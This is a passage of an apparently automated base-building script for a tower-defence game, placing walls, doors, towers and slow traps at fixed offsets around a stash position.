Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 144, stashPosition.y + -576, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -144, stashPosition.y + -576, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 48, stashPosition.y + -624, 'MagicTower', 0);
Auto.PlaceBuilding(stashPosition.x + -48, stashPosition.y + -624, 'CannonTower', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -648, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 696, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 360, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 312, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + 744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + 744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + 744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + 744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + 744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + 744, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -624, stashPosition.y + 48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -624, stashPosition.y + -48, 'ArrowTower', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 264, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 216, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 168, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 24, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 72, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 120, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -432, stashPosition.y + -432, 'Harvester', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + -600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + -456, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + -504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + 456, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + 504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + -456, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + -504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + 456, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + 504, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 408, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 600, 'Door', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + 552, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + 504, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + 504, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + 552, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + -504, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + -552, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + -504, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + -552, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 648, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 600, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 696, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 744, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 792, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 840, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + -552, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + -600, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + -552, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + -600, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + -600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + -648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + -696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -120, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -72, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -24, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 24, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 72, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 120, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + -840, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + -504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + -408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 504, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -600, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 456, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -648, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 408, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -696, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 360, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -744, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -792, stashPosition.y + 312, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + 24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -24, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -72, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -120, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -168, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -216, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -840, stashPosition.y + -264, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + 552, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -504, stashPosition.y + 600, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + 552, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + 504, stashPosition.y + 600, 'SlowTrap', 0);
Auto.PlaceBuilding(stashPosition.x + -552, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 552, stashPosition.y + 552, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 456, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 360, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 312, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 264, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 216, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 168, stashPosition.y + 792, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + 600, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -456, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 648, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -216, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -168, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -408, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 696, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -312, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -264, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + -360, stashPosition.y + 744, 'Wall', 0);
Auto.PlaceBuilding(stashPosition.x + 408, stashPosition.y + 696, 'Wall', 0);
